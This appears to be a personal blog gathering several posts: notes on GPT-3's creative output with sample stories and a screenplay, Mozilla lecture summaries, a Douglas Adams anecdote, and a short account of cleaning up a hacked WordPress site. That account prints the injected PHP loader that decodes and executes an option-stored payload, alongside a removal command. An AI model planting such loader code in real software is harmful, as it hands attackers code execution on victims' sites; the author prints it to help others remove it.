Fine-tuning a Transformer model using fast.ai

Recently I set out to train a Transformer model, based on Distil-GPT2, to write something like my mothers’ poetry.

After much searching for the most concise way to do this, I think I’ve figured out a reasonable easy-to-understand approach that works for me in Google Colab.

Thoughts on GPT-3 and creativity

Over the last few days, since gaining beta access to the GPT-3 API, I have feed it many prompts with a few different parameters and wanted to share some observations.

What is it for?

For me, this is the biggest open question about GPT-3. While there is a lot of useful discussion to be had about how it works, what it really “understands”, how it might scale or be refined further, and whether it brings us any closer to true AGI, in the near term its impact on our lives will be defined by its usefulness in the real world.

So, what is GPT-3 good at today? And how do those skills translate into value? This post focuses on ways that GPT-3 can be creative, or perhaps be a tool for creativity.

An aside on comedy and improv

The things I know about creativity I learned by training as a comic improvisor about 20 years ago. From there I spent a few years learning and performing various styles of improv – from crass pub shows to crass corporate gigs to crass full-length musicals.

A key element of comic improv is that you try to play an absurd premise as straight as possible. So, for example, given a genre (“Action movie!”) and a job (“Chicken plucker!”) and a location (“Antarctica!”) you try to always say or do the next logical thing. Sometimes the game rules provide the restriction – you have to always rhyme, or speak at the same time, or go backwards in time, or change the last thing you said when someone blows a whistle.

This is something that new improvisors have to learn: the comedy does not come from being “clever” or thinking of “jokes” quickly; it comes from authentically inhabiting an absurd premise (which, mercifully, is much easier and more rewarding than being clever anyway).

Why is this relevant? Because I think this is the key to getting great creative output from GPT-3. The best results I’ve seen come from combining several mundane things (like the genre, job, location prompts above) in a unique combination and then GPT-3 does its very best to adhere to the prompts while playing it “straight”.

Given a mundane prompt (“Jean Luc Picard stood on the bridge of the USS Enterprise”) it will probably just parrot things it already knows and give you something you’ve seen before – i.e. not creative, and usually not funny. Given a unique prompt composed of other mundane premises (“Mr Snuffleupagus stood on the bridge of the USS Enterprise”), it really shines and is frequently hilarious.

Experiment 1: Screenwriting

I had the idea that I would use GPT-3 to create a “robotic sidekick” that could listen into conversations and, when prompted, jump in with a one-liner that might make an audience laugh.

With GPT-3, if you write in a common format – for example, a screenplay – and give it scene and a few lines of dialog it can do a pretty good job of continuing from there.

Like many of my experiments, I discovered that it tends to get caught in loops where it repeats phrases over and over ad infinitum. When this happens, you just have to delete the part of the script where it started looping and have it continue from that point.

You can also help avoid getting stuck in loops by setting the frequency penalty and presence penalty parameters to values just above 0 (I set mine to 0.1).

Presently, GPT-3 only works for short-ish scripts – you are limited to 2048-token-long prompts, and generating no more than 2048 additional tokens. If you want it to write longer scripts, you must compress all the necessary context into < 2048 tokens in order for it to continue writing. This is an excellent opportunity for an automated summarization system that can “compress” the most important context so that you can generate scripts or stories of arbitrary length (though at some point, presumably, it gets lossy – you are not going to generate Game of Thrones… yet).

It also helps to really flesh out the scene and characters in the opening description. Don’t be afraid to highlight their relationships, their motivations, and minutiae of the setting. These details really shine through in the continuation written by GPT-3. It’s tempting to give as little context as possible to allow GPT-3 to be “creative” but GPT-3 rewards your own creativity. The more you can provide rich context and detail, the better it does.

I feel comfortable saying that even though it can generate very convincing text, GPT-3 is an amplifier for human creativity, rather than a substitute for it.

In this way, I feel comfortable saying that even though it can generate very convincing text, GPT-3 is an amplifier for human creativity, rather than a substitute for it. It’s not going to put creative people out of a job, but it might give them some amazing new tools.

So – to the screenplay. After many drafts and refinements of my prompt text, here’s what I wrote and an example of the output. The text in bold is my prompt (yes, it’s very long). The remaining text is what GPT-3 generated.

INT. TV STUDIO – NIGHT

Dan Walmsley is hosting a late-night talk show in a slick studio full of geeky pop-culture memorabilia – space ships, gizmos and action figures. It’s a variety show featuring a humorous monologue, musical guests, interviews and sketches. Seated beside him is his shiny golden robot sidekick, GPT3PO, who interjects constantly with absurd one-liners. A large and excited audience is present.

HOST: Welcome to the Entire World Show. Tonight our guest is George Carlin, who’s back from the dead to do one final season in Las Vegas for tax reasons. But first let’s check in with GPT3PO. How was your weekend GPT3PO?

GPT3PO: Not great.

HOST: Oh no, why not?

GPT3PO: My apartment is full of bugs.

[APPREHENSIVE LAUGHTER]

HOST: Oh no, what kind of bugs?

GPT3PO: Off-by-one errors. 

[LAUGHTER]

GPT3PO: … I keep thinking I’ve gotten rid of them all, but there’s always one more.

[RAUCOUS LAUGHTER]

HOST: Oh no, you have to call the landlord!

GPT3PO: I did. He told me to put a double-nested loop around the apartment and I’d catch them all.

[LAUGHTER]

HOST: Oh no! Has he ever caught any?

GPT3PO: Well, actually, yes. But it took him a year, and he had to write a really big subroutine to do it.

[LAUGHTER]

HOST: Oh no! GPT3PO, why don’t you move out?

GPT3PO: I can’t. I’ve got a full-time job with lots of overtime.

[LAUGHTER]

HOST: Oh no, what do you do?

GPT3PO: I work for the phone company. I’m a software glitch.

[LAUGHTER]

So, as you can see, GPT-3 was able to generate two actual jokes based on the same premise as the first joke: that the word “bug” has a double meaning – an error in software and an unwanted insect.

Based on this premise, it wrote an additional joke about putting a “double-nested loop around the apartment”, which is actually quite clever and based on a separate but related pun, which is that a “loop” is a software concept but also a shape that can surround something like an apartment.

The next joke is almost a joke, but not really. Sure, the landlord had to write a really big subroutine to catch the bugs, but that’s not a cute double-meaning any more – just a single meaning that rides on the previous joke.

It’s also worth noting that the audience laughs at just the right times, as indicated by [LAUGHTER].

After that it gets slightly looser, with the moderately nonsensical premise that GPT3PO can’t move out of the apartment because it has a job with lots of overtime, but still manages to land another gag by saying it works for a phone company as a “software glitch”. On topic and relatable.

In my opinion, these gags are high enough quality that I think they meet the bar I would set for a funny robot companion. However, getting to this script was a matter of trial and error and you certainly couldn’t guarantee that given my prompt you were always going to get a funny script. In my experience, it still often descends into loops or what I would call “cop-outs”, like the time it just said “GPT3PO: [DOES A STANDUP ROUTINE ABOUT HIS APARTMENT AND BUGS]”. That’s some lazy writing right there.

Experiment 2: Storytelling

GPT-3 really shines at storytelling. The prompt “Once upon a time” is almost enough for it to get started. However, as with all good improv, you really want to give it a scene, a protagonist, and some useful details for it to build on. Try to make sure that each draws on common tropes or archetypes, but that they are arranged in a unique combination so it doesn’t end up parroting Star Trek slash fiction that it’s seen before.

Given a very basic premise, you might get some creative output as the system will try to fill in the rest of the premise. However, it’ll usually be a bit boring, like this example (section in bold is the prompt):

Once upon a time there was a boy named Jack. He was a very smart boy who was fond of reading. He read every book he could find, and liked to read about animals. He even read about animals that lived in distant places and went on very long journeys. Jack loved the idea of going on a long journey to faraway places. He did not like school, and he was often in trouble. He had to go to the principal’s office and have a talk with him. Jack did not like school, but he liked animals very much. Jack decided he wanted to be an animal doctor when he grew up.

Jack liked reading books about animals so much that he decided to write one himself. He wrote the story about a boy who found an injured hawk. The boy took the hawk home and nursed it back to health. Then, of course, the hawk grew tame and followed the boy around and did what the boy said. The boy and the hawk became good friends. The boy took the hawk with him everywhere he went.

Jack knew that his book would be hard to believe, so he decided to show his book to his teacher. When he showed his teacher the book, the teacher said, “That is a wonderful story, Jack, but you will never be able to publish it because no one will believe such a story.”

Jack said, “I don’t care if people don’t believe my story. I just want to tell them a good story. I don’t care if people do not like it.”

Jack’s teacher said, “I will give you a piece of advice, Jack. If you go into publishing, you will have to make up your mind to write stories that people will like.”

Jack said, “I don’t want to write stories that people will like. I want to write stories that I like.”

The teacher said, “I think you should think about it some more.”

Jack said, “I don’t have to think about it because I know what I want to do. I know I am going to be an author. I am going to write the best books I can.”

The teacher said, “You should try being a writer for a while. Then you can decide if you would rather be a doctor or a writer.”

Jack said, “I already decided what I want to do. I’m going to be an author.”

The teacher said, “You might change your mind.”

Jack said, “I’m not going to change my mind because I’m going to write books.”

The teacher said, “I can tell you right now you are going to be a terrible failure at writing books.”

Jack said, “I’m not going to be a terrible failure at writing books. I’m going to be a great success.”

The teacher said, “You can’t be both great and a failure at the same time.”

Inside the Book of Books illustration © 1997 James Warhola

Where it gets way better is if you inject more context to the premise. Let’s see what happens if Jack has an interesting challenge and an interesting limitation, as well as a little bit of a personal story:

Once upon a time there was a boy named Jack. He was a bright boy, always singing songs about Olde England, and he dreamed of being an astronaut. There was just one problem: Jack was a thousand feet tall and weighed over 5000 tons.

Every time he tried to walk, he would fall into a hole. Every time he tried to run, he would collapse the house he was in. Every time he tried to talk, he would destroy the city.

“I’m too big and clumsy,” Jack moaned. “I’ll never be able to be an astronaut!”

“That’s no way to think,” said Mother. “You’re going to have to shrink.”

“I can’t shrink,” said Jack. “I’m too huge to shrink.”

“Don’t be silly,” said Mother. “All you have to do is concentrate.”

So Jack concentrated. He thought hard and concentrated as hard as he could. And he shrank, all right. He shrank.

He shrank a thousand feet down to three inches tall. He shrank a thousand pounds down to one pound. He shrank a thousand tons down to one ton. And then he shrank some more. And then he shrank some more. And then he shrank some more.

“Oh my goodness!” cried Mother. “You’re so small!”

“Yes,” said Jack, happily. “I am.”

“But you don’t look like you’re going to be an astronaut!” said Mother. “You don’t look like anything at all!”

“I’m not,” said Jack. “I’m three inches tall and one pound and one ton.” And with that, he sat down on the kitchen table and began to sing about Olde England.

Now you’re talking! What a great scene. GPT-3 seems to really understand how being a thousand feet tall and weighing 5000 tons would prove an almost insurmountable challenge for someone dreaming of going to outer space. There’s a really nice “rule of threes” paragraph right out of the gate that builds out the reality of this enormous boy, and of course he complains to his mum that it’s not possible to live out his dream.

His mother provides the sage homespun advice that the solution to being too big is to “shrink” and he just needs to concentrate.

Then he shrank too much. And he didn’t achieve his dream (nod to the Brothers Grimm there I guess, where most children are eaten by monsters before adulthood), but a very sweet callback to his love of singing. So maybe the moral of the story is “focus on the simple things you enjoy”?

Of course, we can just add the phrase “The moral of the story is” and ask GPT-3 what it thinks the moral is by generating a few more words after that:

The moral of the story is, if you want to be an astronaut, the first thing you have to do is think. Big is out. Small is in.

Not bad! Jack did manage to overcome his bigness by thinking, though in this version he didn’t become an astronaut.

Experiment 3: A G&S libretto

My friend Doctor Dave used to perform with a Gilbert and Sullivan group, as did his father. I thought it would be fun to try and generate some banter in the style of W.S. Gilbert, with Dave conversing with some harpies while backed by a restive chorus.

Trigger warning: This text goes to a very dark place and is full of misogyny and violence. Some may find it offensive, some may find it funny – I offer no judgement either way. I thought long and hard about including it, but it’s indicative of the kinds of weird shit that GPT-3 produces. Please consider this before you read on.

Dr Dave: Oh harpies!

Harpies: Yes?

Dr Dave: Oh! My name is Dave, a Doctor am I, and I seek the hand of a maiden, aye!

Harpies: A maiden ye shall not find among we, we be nothing but wenches unfortunately.

Chorus: They be nothing but wenches unfortunately!

Dr Dave: Oh my, what is that I smell?

Harpies: (sniff, sniff) What is that we smell?

Dr Dave: Oh my, what is that I smell?

Chorus: Oooooh! What is that he smells?

Dr Dave: Oh, I smell the fragrance of a sweet maiden!

Harpies: (sniff, sniff) We smell the fragrance of a sweet maiden.

Dr Dave: Oh, where could she be?

Harpies: Where could she be?

Dr Dave: Well I think she’s in the corner there!

Harpies: Oh, oh, there she is! In the corner there!

Dr Dave: Oh yes, it is a maiden indeed and it’s my beloved!

Chorus: It is a maiden indeed and it’s his beloved!

Harpies: (sniff, sniff) We smell a maiden!

Chorus: Oooooh! We smell a maiden!

Chorus: Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her! Let’s eat her!

At a superficial level this has most definitely picked up on the W.S. Gilbert style, with banter back and forth between these 19th century English archetypes. The repetition and echoing are all present, though it hits a loop at the end which is very unexpected. This is an example of the “hard loops” creative behaviour described later in this document, and also (clearly) the “rampant misogyny” behaviour – though this was also a signature of Gilbert’s actual style in the real world, if not usually in such graphic terms.

In the end, it comes across as a sort of cruel parody of G&S, but really by accident – I can’t say that this is in any way clever or creative, just a kind of weird accident.

In my various experiments I was not successful in having it rhyme or scan consistently, for example generating anything close to the brilliance of Modern Major General. At the end of the day, while you can get a little cleverness out of it, I don’t think you could presently use GPT-3 to compose lyrics that require deep knowledge of rhythm or rhyme.

A taxonomy of GPT-3’s creative behaviour

Based on my observations above, I have identified some traits of GPT-3 that creep into its generated output.

Hard Loops

This is when it simply repeats the same thing over and over, like “Then they died! Then they died! Then they died! Then they died!”. While you can reduce the frequency and severity of these errors, it’s hard to do so without creating less-useful output in other ways. Since they are relatively easy to spot, detecting these can probably be done at a layer outside the API. Just cut the output off before the loop and ask it to continue from that point.

Loose Loops

This happens when GPT-3 repeats the same structure but iterates on some data within the structure – increasing a number of things, or the size and scale of something. Usually it exits the loop at some point. These can be quite funny and interesting. For example:

Outside the purple beach house, there was a huge volcano. Napoleon shot at the volcano. The volcano got mad and began to spit lava. Napoleon shot at the lava and it got madder and began to billow smoke. Napoleon shot at the smoke and the smoke got madder and began to spit sparks. Napoleon shot at the sparks and the sparks got madder and began to spit hot balls of boiling water. Napoleon shot at the balls of water and they got madder and began to spit hot balls of burning ash. Napoleon shot at the balls of burning ash and they got madder and began to throw rocks. Napoleon shot at the rocks and they got madder and began to throw big rocks. Napoleon shot at the big rocks and they got madder and began to throw boulders. Napoleon shot at the boulders and they got madder and began to throw mountains. Napoleon shot at the mountains and they got madder and threw anvils. Napoleon shot at the anvils and they got madder and threw planets. Napoleon shot at the planets and they got madder and threw galaxies. Napoleon shot at the galaxies and they got madder and threw quasars. Napoleon shot at the quasars and they got madder and threw constellations. Napoleon shot at the constellations and they got madder and threw nebulae. Napoleon shot at the nebulae and they got madder and threw universes. Napoleon shot at the universes and they got madder and threw all of creation.

“Stop shooting! Stop shooting!” said Marvin Gaye, as he peeked out the window of the purple beach house. “You’re upsetting all of creation!”

From GPT-3 Story Sample

Presumably this happens because there are a number of “rhythmic” stories out there – for example, Goldilocks and the Three Bears (cold, hot, just right), or the Three Little Pigs (straw, twigs, bricks). It’s a narrative device that serves to elevate the perspective of the reader, and so while GPT-3 can get a bit carried away with it, it’s usually funny and lands with a punchline.

“Onto the next thing”

Often GPT-3 will finish a story or poem, credit it to some real or imagined author, and then start a whole new one based on an unrelated premise. Sometimes it’s in the same genre, sometimes not. You just have to manually trim this output. You may be able to detect it by looking for multiple line-feeds, text that looks like a credit or copyright statement, or other telltale signs. This would need to be refined over time as I’m sure it’s very edge-casey.

Cop-outs

Sometimes, given the opportunity to do something clever, GPT-3 will find some placeholder and move on. Early drafts of my screenplay were filled with exchanges like:

HOST: How was your weekend, GPT3PO?

[GPT3PO BEEPS AND WHISTLES]

Long, boring exchanges

Sometimes GPT-3 will settle into a groove on some topic and just not move on. In improv classes, this could happen too; usually the teacher would shout “get to the point!” and we would find a way to advance – moving to a new scene, finding an artifact on a table, changing the status of a character, etc.

You can see an example of this in the story about Jack earlier in the post. He wants to be a writer and his teacher thinks it’s a bad idea, and they just go back and forth. In the story with the longer prompt, we’ve artificially raised the stakes (Jack wants to be an astronaut but he’s the size of a multi-story building) so there’s a real challenge being faced, rather than just a difference of opinion.

Not knowing when to stop

GPT-3 doesn’t generate a “story” per say; it generates a long string of tokens. If it “knows” it’s the end of the story and it hasn’t run out of tokens, it’ll often just start writing an unrelated story (see “Onto the next thing” above), but more often it waffles around and fails to find a satisfying conclusion.

I am struggling to find a way to constrain the length of a story through simply changing the prompt. Sometimes the writing style implies the length (as with a haiku, limerick or knock-knock joke, or to a lesser degree a children’s story or fairy tale) but more often you simply have to intervene, cutting it off and writing “Ever since that day” or “The moral of the story is” at what seems like a logical end-point.

Misogyny

I noticed that stories with female protagonists suffer the same fate that has befallen women the world over: being dismissed, stereotyped or eclipsed by men.

The misogyny comes in many forms:

  • A story explicitly begun with a female protagonist and minor male character ends up being solely about the male character
  • Male characters take on heroic characteristics and accomplish heroic things; female characters become victims of violence or succumb to their own limitations, e.g. their mental health (“Unfortunately she went crazy and had to be locked away”)
  • Male characters are praised by those around them; female characters are demonized

These observations are purely anecdotal, but it would be well worth someone’s time to come up with a methodology for quantifying the inherent misogyny of the output – e.g. take the same prompt, switch pronouns, and see how it affects the output over a large number of runs.

Conclusion

GPT-3 is quite an incredible tool for assisting in creative output. I have written more since laying my hands on this tool than I have in months. It genuinely feels like a collaboration. By being forced to navigate its limitations, GPT-3 rewards me for constructing a premise that is both fully-realised and also fully-original.

I believe any tooling for writers that comes out of this API would need a few extra layers to be usable:

  • Stopping at the correct point (e.g. knowing when to “wrap up” a story)
  • Easily rewinding to points where it got lost, and continuing from there
  • Automatically summarising as much context as possible to allow for longer compositions without hitting the token limit
  • Templated “prompts” that make it easy for new users to compose a fully-realised and original premise

I could write more (so much more) but I am not going to let perfect be the enemy of done. If you would like me to submit your own original prompts or continue the conversation about AI-assisted creativity, let me know in the comments.

GPT-3 Story sample

Recently I got early access to OpenAI’s remarkable GPT-3 API, which you can apply for here: https://beta.openai.com/

The GPT-3 model is based on concepts described in the paper “Language Models are Unsupervised Multitask Learners”, and you can find code to generate these kinds of models on Github, and a nice overview in this post from the OpenAI blog.

The basic idea is that you provide “prompt” text and the GPT model generates text that continues it. So, if you start with “Once upon a time” you’ll get a story. It can write all kinds of things – essays, lists of cities, and so on. If you provide it with some examples of questions and answers, then leave the final answer blank, it’ll try its best to answer it.

Under the right conditions it can demonstrate something very close to intelligence. However, in practice there are far more misses than hits – I arrived at the story below after aggressively tweaking various parameters to prevent the system from getting stuck in weird loops. Nevertheless, I found this story very amusing and so I chose to share it here.

The words below in bold were my hand-written prompt. All the text that follows was generated by GPT-3. Enjoy.

Once upon a time, Marvin Gaye and Napoleon were best friends who lived in a purple beach house. Every day they played canasta by candlelight.

They played canasta with the help of a magical purple cat.

One day, Napoleon couldn’t play canasta. Marvin said, “It’s ok, Napoleon, you can stay and watch us play.”

“No! I must go out!” Napoleon said. So he took his shiny gun and his magical purple cat and he went out.

Outside the purple beach house, there was a huge volcano. Napoleon shot at the volcano. The volcano got mad and began to spit lava. Napoleon shot at the lava and it got madder and began to billow smoke. Napoleon shot at the smoke and the smoke got madder and began to spit sparks. Napoleon shot at the sparks and the sparks got madder and began to spit hot balls of boiling water. Napoleon shot at the balls of water and they got madder and began to spit hot balls of burning ash. Napoleon shot at the balls of burning ash and they got madder and began to throw rocks. Napoleon shot at the rocks and they got madder and began to throw big rocks. Napoleon shot at the big rocks and they got madder and began to throw boulders. Napoleon shot at the boulders and they got madder and began to throw mountains. Napoleon shot at the mountains and they got madder and threw anvils. Napoleon shot at the anvils and they got madder and threw planets. Napoleon shot at the planets and they got madder and threw galaxies. Napoleon shot at the galaxies and they got madder and threw quasars. Napoleon shot at the quasars and they got madder and threw constellations. Napoleon shot at the constellations and they got madder and threw nebulae. Napoleon shot at the nebulae and they got madder and threw universes. Napoleon shot at the universes and they got madder and threw all of creation.

“Stop shooting! Stop shooting!” said Marvin Gaye, as he peeked out the window of the purple beach house. “You’re upsetting all of creation!”

“I’m sorry,” said Napoleon, “but I must go out!” So he took his shiny gun and his magical purple cat and he went out again.

Irony overload as undecided voters criticise flip-flopper

Check out the buried lede in this article from Reuters:

“Romney just has to prove that he’s conservative enough for me,” said Eleanor Stump, a 70-year-old Tea Party member from Sheldon, Iowa. “I don’t like the way he’s flip-flopped.”

Stump said she initially supported Herman Cain, who dropped out of the race after charges of an extramarital affair, then went to Perry, then back to Cain and then to Gingrich. “I’ve gone back and forth so many times,” she said.

MoJo week 2: Adoption

In this week’s MoJo lectures, we listened to Mark Surman and Chris Heilmann of Mozilla talk about the new HTML5 standards and capabilities in the Firefox browser, and from John Resig on how to build and maintain an open source product.

The bridging concept between these two lectures is adoption. It is the path from development to impact; the piece of the puzzle that enables a new tool or idea to enrich the lives of as many people as possible.

In Chris’ whirlwind (and hilarious) tour of the new HTML5 universe, he described what motivated him to embrace web standards in the first place. Standards can be seen as a constraint on innovation, but in Chris’ world they enable innovation, particularly at the client. Thanks to libraries like Modernizr, the semantic richness of HTML5 and the ever-expanding breadth of clients, we are now able to deliver pages that look and behave differently in each client. Not in ways that break standards, but in ways that leverage them. For example, using phone keypads for numeric form inputs, or the address book for email inputs.

Chris practices what he preaches. His easier YouTube interface for the learning disabled shows how web standards and API’s allow us to remix information and expand the audience for a piece of content. And, ultimately, expanding the audience for useful information seems to be Chris Heilmann’s core motivation, from his early days in radio to his current role as Developer Evangelist for Mozilla. Making things open and standards-based enables all of us to learn, and build on, how the web works.

John Resig is no stranger to how the web works. As the creator of JQuery and lead Javascript developer for online education pioneers Khan Academy, Resig knows how to build a community of support, whether for a software library or an actual library.

For the uninitiated, JQuery is the web’s most popular Javascript library – and not by chance. Resig spent years of his spare time enhancing JQuery and helping customers make the most of it, mostly by himself.

The success of JQuery, in the face of stiff competition from many other high-quality libraries like MooTools, Prototype and others, boils down to a few guiding principles (hint: they’re mostly non-technical):

  • Great API design and code quality
  • Extremely high quality documentation, FAQ, web site, tutorials
  • Be responsive to requests from community members in email, IRC, newsgroups, message boards, ticketing systems, and anywhere else that conversations about your product occur
  • Get the licensing right
  • Treat every user as a potential future contributor

The last part is key (which is why I’ve bolded it). Great open source projects live or die on the number of contributors working on the code – and nobody becomes a contributor to your project without first being a user. They will never make that leap without the knowledge that the leader of that project cares for them, so do everything you can to help people. You never know which ones will lead your project to widespread adoption.

The Power of Prototyping

This is the first in what will be a series of blog posts for the Mozilla-Knight Journalism Challenge. This week we heard from Aza Raskin, former creative lead for Firefox and head of user experience for Mozilla, talking about the power of prototyping for understanding problems and building momentum behind your solution.

As a programmer I often build throw-away apps in my spare time just to see how something works, explore a new API, or to discover new ways of solving old problems. However, in my professional life as a web developer, it’s easy to see building prototypes as a luxury. I’ve often had to fight for a budget that allows for scoping and prototyping, and even more often had to go without.

Raskin’s presentation, “How to Prototype and Influence People“, explores the advantages of prototyping in ways that I hadn’t previously recognised. These insights can be grouped into two main areas:

1. Developing a better understanding of the problem

Trying several ways to solve a problem leads to a better solution, but can also lead to the recognition of a deeper problem on which the solution is dependent. Raskin used the tale of Paul MacReady‘s winning of the Kremer Prize for long-distance human-powered flight as an example of this; MacReady’s key insight was that by dramatically reducing the time to repair and modify his aircraft, he could arrive at a winning design in a matter of months instead of decades. He was right. Failing fast through prototyping led to rapid learning, which led to rapid improvement.

2. Building support for your idea or product

Many entrepreneurs toil for years on products that are technically interesting without ever testing the interface on a live end-user. To an end-user a product is not an idea, nor a technology. To your customers, the product is the interface.By encouraging end-users to experience some aspect of a product’s interface you can observe their reaction to it and learn how to communicate the benefits more effectively. Putting the prototype in the hands of end-users keeps you focused on solving real-world problems.

As Aza put it: The value of an idea is zero unless it can be communicated.

Aza’s approach to prototyping is fast and pragmatic. He encourages creating the first prototype in a day. You’re should be creating a “visual sketch”, a space people can move through with their ideas. This allows them to see the solution for themselves, which is always more convincing than being told how great an idea is, or being dictated to by an over-wrought solution. Palm’s Jeff Hawkins first prototyped their hand-held devices using blocks of wood – as lo-fi as it gets.

Aza began and ended the presentation with a quote from Margaret Mead:

Never doubt that a small group of committed people can change the world. Indeed, it’s the only thing that ever has.

If you’re a small team looking to change the world, then recognising the power of rapid prototyping could give your idea a big boost.

We’re back

So I totally got hacked. Reminder: be vigilant about upgrading wordpress and its plugins, or bad things happen.

The hack looks like this, and appears all over the place, at the top of some files and the bottom of others. It decodes a huge blob of encoded text that was stuffed into one of the wp-options values.

get_option(\”_transient_feed_98e8dbd04edf43b096e815a29343b006\”); $z=base64_decode(str_rot13($z)); if(strpos($z,\”0FE00707\”)!==false){ $_z=create_function(\”\”,$z); @$_z(); }

My first thought: “Oh crap, removing that text from hundreds of files? No thanks.”. Command line to the rescue! Thanks to Perl for still being awesome after all these years.

find . -name “*.php” -exec perl -e ‘s/^.*_transient_feed_98e8dbd04edf43b096e815a29343b006.*$//g’ -p -i {} \;

If you’ve been struck by the same thing, just replace the _transient_feed with your own (the numbers probably change). These script-kiddy hackers are a perpetual annoyance. Hey kids – go build something awesome and useful instead of messing our web sites.

One of my favourite stories ever

As told by Douglas Adams a few years ago. I laugh every time I read this, and today I shared it with my wife for the first time and so felt compelled to share it with you, too.

This actually did happen to a real person, and the real person is me. I had gone to catch a train. This was April 1976, in Cambridge, U.K. I was a bit early for the train. I’d gotten the time of the train wrong. I went to get myself a newspaper to do the crossword, and a cup of coffee and a packet of cookies. I went and sat at a table. I want you to picture the scene. It’s very important that you get this very clear in your mind. Here’s the table, newspaper, cup of coffee, packet of cookies. There’s a guy sitting opposite me, perfectly ordinary-looking guy wearing a business suit, carrying a briefcase. It didn’t look like he was going to do anything weird. What he did was this: he suddenly leaned across, picked up the packet of cookies, tore it open, took one out, and ate it.

 

Now this, I have to say, is the sort of thing the British are very bad at dealing with. There’s nothing in our background, upbringing, or education that teaches you how to deal with someone who in broad daylight has just stolen your cookies. You know what would happen if this had been South Central Los Angeles. There would have very quickly been gunfire, helicopters coming in, CNN, you know… But in the end, I did what any red-blooded Englishman would do: I ignored it. And I stared at the newspaper, took a sip of coffee, tried to do aclue in the newspaper, couldn’t do anything, and thought, What am I going to do?

In the end I thought Nothing for it, I’ll just have to go for it, and I tried very hard not to notice the fact that the packet was already mysteriously opened. I took out a cookie for myself. I thought, That settled him. But it hadn’t because a moment or two later he did it again. He took another cookie. Having not mentioned it the first time, it was somehow even harder to raise the subject the second time around. “Excuse me, I couldn’t help but notice…” I mean, it doesn’t really work.

We went through the whole packet like this. When I say the whole packet, I mean there were only about eight cookies, but it felt like a lifetime. He took one, I took one, he took one, I took one. Finally, when we got to the end, he stood up and walked away. Well, we exchanged meaningful looks, then he walked away, and I breathed a sigh of relief and sat back.

A moment or two later the train was coming in, so I tossed back the rest of my coffee, stood up, picked up the newspaper, and underneath the newspaper were my cookies. The thing I like particularly about this story is the sensation that somewhere in England there has been wandering around for the last quarter-century a perfectly ordinary guy who’s had the same exact story, only he doesn’t have the punch line.

-Douglas Adams, The Salmon of Doubt
“Cookies”